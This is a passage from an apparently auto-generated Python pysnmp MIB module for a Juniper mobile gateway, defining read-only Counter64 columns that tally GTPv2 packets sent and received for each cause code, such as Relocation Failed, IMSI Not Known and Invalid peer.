Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsGREKeyNtFdTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsGREKeyNtFdTx.setDescription('Number of GTP packets sent with cause GRE Key Not Found.') jnxMbgSgwPPGtpV2ICsRelocFailRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 134), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsRelocFailRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsRelocFailRx.setDescription('Number of GTPV2 packets received with cause Relocation Failed.') jnxMbgSgwPPGtpV2ICsRelocFailTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 135), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsRelocFailTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsRelocFailTx.setDescription('Number of GTP packets sent with cause Relocation Failed.') jnxMbgSgwPPGtpV2ICsDenINRatRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 136), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsDenINRatRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsDenINRatRx.setDescription('Number of GTPV2 packets received with cause Denied in RAT.') jnxMbgSgwPPGtpV2ICsDenINRatTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 137), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsDenINRatTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsDenINRatTx.setDescription('Number of GTP packets sent with cause Denied in RAT.') jnxMbgSgwPPGtpV2ICsPTNotSuppRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 138), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsPTNotSuppRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsPTNotSuppRx.setDescription('Number of GTPV2 packets received with cause PDN Type Not Supported.') jnxMbgSgwPPGtpV2ICsPTNotSuppTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 139), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsPTNotSuppTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsPTNotSuppTx.setDescription('Number of GTP packets sent with cause PDN Type Not Supported.') jnxMbgSgwPPGtpV2ICsAllDynAdOcRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 140), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsAllDynAdOcRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsAllDynAdOcRx.setDescription('Number of GTPV2 packets received with cause Allocated Dynamic Address Occupied.') jnxMbgSgwPPGtpV2ICsAllDynAdOcTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 141), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsAllDynAdOcTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsAllDynAdOcTx.setDescription('Number of GTP packets sent with cause Allocated Dynamic Address Occupied.') jnxMbgSgwPPGtpV2ICsNOTFTUECTXRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 142), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsNOTFTUECTXRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsNOTFTUECTXRx.setDescription('Number of GTPV2 packets received with cause UE Context Without TFT Exists.') jnxMbgSgwPPGtpV2ICsNOTFTUECTXTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 143), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsNOTFTUECTXTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsNOTFTUECTXTx.setDescription('Number of GTP packets sent with cause UE Context Without TFT Exists.') jnxMbgSgwPPGtpV2ICsProtoNtSupRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 144), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsProtoNtSupRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsProtoNtSupRx.setDescription('Number of GTPV2 packets received with cause Protocol Not Supported.') jnxMbgSgwPPGtpV2ICsProtoNtSupTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 145), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsProtoNtSupTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsProtoNtSupTx.setDescription('Number of GTP packets sent with cause Protocol Not Supported.') jnxMbgSgwPPGtpV2ICsUENotRespRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 146), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsUENotRespRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsUENotRespRx.setDescription('Number of GTPV2 packets received with cause UE Not Responding.') jnxMbgSgwPPGtpV2ICsUENotRespTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 147), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsUENotRespTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsUENotRespTx.setDescription('Number of GTP packets sent with cause UE Not Responding.') jnxMbgSgwPPGtpV2ICsUERefusesRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 148), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsUERefusesRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsUERefusesRx.setDescription('Number of GTPV2 packets received with cause UE Refuses.') jnxMbgSgwPPGtpV2ICsUERefusesTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 149), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsUERefusesTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsUERefusesTx.setDescription('Number of GTP packets sent with cause UE Refuses.') jnxMbgSgwPPGtpV2ICsServDeniedRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 150), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsServDeniedRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsServDeniedRx.setDescription('Number of GTPV2 packets received with cause Service Denied.') jnxMbgSgwPPGtpV2ICsServDeniedTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 151), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsServDeniedTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsServDeniedTx.setDescription('Number of GTP packets sent with cause Service Denied.') jnxMbgSgwPPGtpV2ICsUnabPageUERx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 152), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsUnabPageUERx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsUnabPageUERx.setDescription('Number of GTPV2 packets received with cause Unable to Page UE.') jnxMbgSgwPPGtpV2ICsUnabPageUETx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 153), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsUnabPageUETx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsUnabPageUETx.setDescription('Number of GTP packets sent with cause Unable to Page UE.') jnxMbgSgwPPGtpV2ICsNoMemRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 154), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsNoMemRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsNoMemRx.setDescription('Number of GTPV2 packets received with cause No Memory.') jnxMbgSgwPPGtpV2ICsNoMemTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 155), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsNoMemTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsNoMemTx.setDescription('Number of GTP packets sent with cause No Memory.') jnxMbgSgwPPGtpV2ICsUserAUTHFlRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 156), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsUserAUTHFlRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsUserAUTHFlRx.setDescription('Number of GTPV2 packets received with cause User AUTH Failed.') jnxMbgSgwPPGtpV2ICsUserAUTHFlTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 157), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsUserAUTHFlTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsUserAUTHFlTx.setDescription('Number of GTP packets sent with cause User AUTH Failed.') jnxMbgSgwPPGtpV2ICsAPNAcsDenRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 158), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsAPNAcsDenRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsAPNAcsDenRx.setDescription('Number of GTPV2 packets received with cause APN Access Denied.') jnxMbgSgwPPGtpV2ICsAPNAcsDenTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 159), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsAPNAcsDenTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsAPNAcsDenTx.setDescription('Number of GTP packets sent with cause APN Access Denied.') jnxMbgSgwPPGtpV2ICsReqRejRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 160), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsReqRejRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsReqRejRx.setDescription('Number of GTPV2 packets received with cause Request Rejected.') jnxMbgSgwPPGtpV2ICsReqRejTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 161), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsReqRejTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsReqRejTx.setDescription('Number of GTP packets sent with cause Request Rejected.') jnxMbgSgwPPGtpV2ICsPTMSISigMMRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 162), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsPTMSISigMMRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsPTMSISigMMRx.setDescription('Number of GTPV2 packets received with cause P-TMSI Signature Mismatch.') jnxMbgSgwPPGtpV2ICsPTMSISigMMTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 163), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsPTMSISigMMTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsPTMSISigMMTx.setDescription('Number of GTP packets sent with cause P-TMSI Signature Mismatch.') jnxMbgSgwPPGtpV2ICsIMSINotKnRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 164), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsIMSINotKnRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsIMSINotKnRx.setDescription('Number of GTPV2 packets received with cause IMSI Not Known.') jnxMbgSgwPPGtpV2ICsIMSINotKnTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 165), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsIMSINotKnTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsIMSINotKnTx.setDescription('Number of GTP packets sent with cause IMSI Not Known.') jnxMbgSgwPPGtpV2ICsCondIEMsRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 166), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsCondIEMsRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsCondIEMsRx.setDescription('Number of GTPV2 packets received with cause Conditional IE Missing.') jnxMbgSgwPPGtpV2ICsCondIEMsTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 167), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsCondIEMsTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsCondIEMsTx.setDescription('Number of GTP packets sent with cause Conditional IE Missing.') jnxMbgSgwPPGtpV2ICsAPNResTIncRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 168), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsAPNResTIncRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsAPNResTIncRx.setDescription('Number of GTPV2 packets received with cause APN Restriction Type Incompatible.') jnxMbgSgwPPGtpV2ICsAPNResTIncTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 169), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsAPNResTIncTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsAPNResTIncTx.setDescription('Number of GTP packets sent with cause APN Restriction Type Incompatible.') jnxMbgSgwPPGtpV2ICsUnknownRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 170), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsUnknownRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsUnknownRx.setDescription('Number of GTPV2 packets received with cause Unknown.') jnxMbgSgwPPGtpV2ICsUnknownTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 171), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsUnknownTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsUnknownTx.setDescription('Number of GTP packets sent with cause Unknown.') jnxMbgSgwPPGtpV2ICsLclDetRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 172), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsLclDetRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsLclDetRx.setDescription('Number of GTP packets received with cause Local Detach.') jnxMbgSgwPPGtpV2ICsLclDetTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 173), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsLclDetTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsLclDetTx.setDescription('Number of GTP packets sent with cause Local Detach.') jnxMbgSgwPPGtpV2ICsCmpDetRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 174), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsCmpDetRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsCmpDetRx.setDescription('Number of GTP packets received with cause Complete Detach.') jnxMbgSgwPPGtpV2ICsCmpDetTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 175), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsCmpDetTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsCmpDetTx.setDescription('Number of GTP packets sent with cause Complete Detach.') jnxMbgSgwPPGtpV2ICsRATChgRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 176), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsRATChgRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsRATChgRx.setDescription('Number of GTP packets received with cause RAT changed from 3GPP to non 3GPP.') jnxMbgSgwPPGtpV2ICsRATChgTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 177), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsRATChgTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsRATChgTx.setDescription('Number of GTP packets sent with cause RAT changed from 3GPP to non 3GPP.') jnxMbgSgwPPGtpV2ICsISRDeactRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 178), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsISRDeactRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsISRDeactRx.setDescription('Number of GTP packets received with cause ISR Deactivated.') jnxMbgSgwPPGtpV2ICsISRDeactTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 179), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsISRDeactTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsISRDeactTx.setDescription('Number of GTP packets sent with cause ISR Deactivated.') jnxMbgSgwPPGtpV2ICsEIFRNCEnRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 180), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsEIFRNCEnRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsEIFRNCEnRx.setDescription('Number of GTP packets received with cause Error Indication from RNC eNodeB.') jnxMbgSgwPPGtpV2ICsEIFRNCEnTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 181), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsEIFRNCEnTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsEIFRNCEnTx.setDescription('Number of GTP packets sent with cause Error Indication from RNC eNodeB.') jnxMbgSgwPPGtpV2ICsSemErTADRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 182), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsSemErTADRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsSemErTADRx.setDescription('Number of GTP packets received with cause Semantic Error in TAD Operation.') jnxMbgSgwPPGtpV2ICsSemErTADTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 183), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsSemErTADTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsSemErTADTx.setDescription('Number of GTP packets sent with cause Semantic Error in TAD Operation.') jnxMbgSgwPPGtpV2ICsSynErTADRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 184), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsSynErTADRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsSynErTADRx.setDescription('Number of GTP packets received with cause Syntactic Error in TAD Operation.') jnxMbgSgwPPGtpV2ICsSynErTADTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 185), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsSynErTADTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsSynErTADTx.setDescription('Number of GTP packets sent with cause Syntactic Error in TAD Operation.') jnxMbgSgwPPGtpV2ICsRMValRcvRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 186), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsRMValRcvRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsRMValRcvRx.setDescription('Number of GTP packets received with cause Reserved Message Value Received.') jnxMbgSgwPPGtpV2ICsRMValRcvTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 187), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsRMValRcvTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsRMValRcvTx.setDescription('Number of GTP packets sent with cause Reserved Message Value Received.') jnxMbgSgwPPGtpV2ICsRPrNtRspRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 188), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsRPrNtRspRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsRPrNtRspRx.setDescription('Number of GTP packets received with cause Remote peer not responding.') jnxMbgSgwPPGtpV2ICsRPrNtRspTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 189), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsRPrNtRspTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsRPrNtRspTx.setDescription('Number of GTP packets sent with cause Remote peer not responding.') jnxMbgSgwPPGtpV2ICsColNWReqRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 190), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsColNWReqRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsColNWReqRx.setDescription('Number of GTP packets received with cause Collision with network initiated request.') jnxMbgSgwPPGtpV2ICsColNWReqTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 191), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsColNWReqTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsColNWReqTx.setDescription('Number of GTP packets sent with cause Collision with network initiated request.') jnxMbgSgwPPGtpV2ICsUnPgUESusRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 192), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsUnPgUESusRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsUnPgUESusRx.setDescription('Number of GTP packets received with cause Unable to page UE due to suspension.') jnxMbgSgwPPGtpV2ICsUnPgUESusTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 193), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsUnPgUESusTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsUnPgUESusTx.setDescription('Number of GTP packets sent with cause Unable to page UE due to suspension.') jnxMbgSgwPPGtpV2ICsInvTotLenRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 194), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsInvTotLenRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsInvTotLenRx.setDescription('Number of GTP packets received with cause Invalid total len.') jnxMbgSgwPPGtpV2ICsInvTotLenTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 195), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsInvTotLenTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsInvTotLenTx.setDescription('Number of GTP packets sent with cause Invalid total len.') jnxMbgSgwPPGtpV2ICsDtForNtSupRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 196), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsDtForNtSupRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsDtForNtSupRx.setDescription('Number of GTP packets received with cause Data forwarding not supported.') jnxMbgSgwPPGtpV2ICsDtForNtSupTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 197), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsDtForNtSupTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsDtForNtSupTx.setDescription('Number of GTP packets sent with cause Data forwarding not supported.') jnxMbgSgwPPGtpV2ICsInReFRePrRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 198), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsInReFRePrRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsInReFRePrRx.setDescription('Number of GTP packets received with cause Invalid Reply from Remote peer.') jnxMbgSgwPPGtpV2ICsInReFRePrTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 199), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsInReFRePrTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsInReFRePrTx.setDescription('Number of GTP packets sent with cause Invalid Reply from Remote peer.') jnxMbgSgwPPGtpV2ICsInvPrRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 200), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsInvPrRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsInvPrRx.setDescription('Number of GTP packets received with cause Invalid peer.') jnxMbgSgwPPGtpV2ICsInvPrTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 201), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsInvPrTx.setStatus('current') if 